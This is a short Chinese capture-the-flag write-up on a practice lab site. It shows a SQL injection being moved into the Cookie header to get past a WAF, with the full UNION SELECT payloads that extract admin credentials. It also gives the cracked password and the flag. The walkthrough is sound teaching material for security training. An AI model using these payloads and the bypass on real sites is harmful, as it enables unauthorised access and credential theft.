0X01.得到目标站点

0X02.打开目标网站并查找注入点

0X03.查找注入点

and 1 = 1   #猜测可能存在一个waf

1.查找回显点，order by 10 返回正常

order by 11 显示错误

2.查看回显字段，可以看到是有waf拦截

3.使用cookie注入。

采用cookie注入，注入前要利用一个工具ModHeader，下载解压后可以得到一个以crx后缀名的文件，将此后缀改为zip，再次解压即可得到所要文件。

将整个文件夹拖入到chrome浏览器的推展程序中即可

个人原因，谷歌浏览器不行，采用火狐，添加一个请求头cookie，内容为id=171

再次访问，

http://kypt8004.ia.aqlab.cn/shownews.asp

可以看到与之前的效果是一样的。

4.注入点查看

在刚刚的cookie注入中，将payload设置为

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

再次刷新页面可以看到成功显示，2，3，7，8，9

0X04.数据查询

查询username，password

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

得到账号密码

admin/b9a2a2b5dffb918c

破解结果

0X05.获取flag

登录后台

admin/welcome

拿到flag

zkz{welcome-control}

0X06.总结

1.查找可以注入的页面

2.测试是否存在注入点

3.如果有waf，拦截的可能是post和get，可以尝试cookie注入

4.逐步拿到账号权限

5.登录后台拿到flag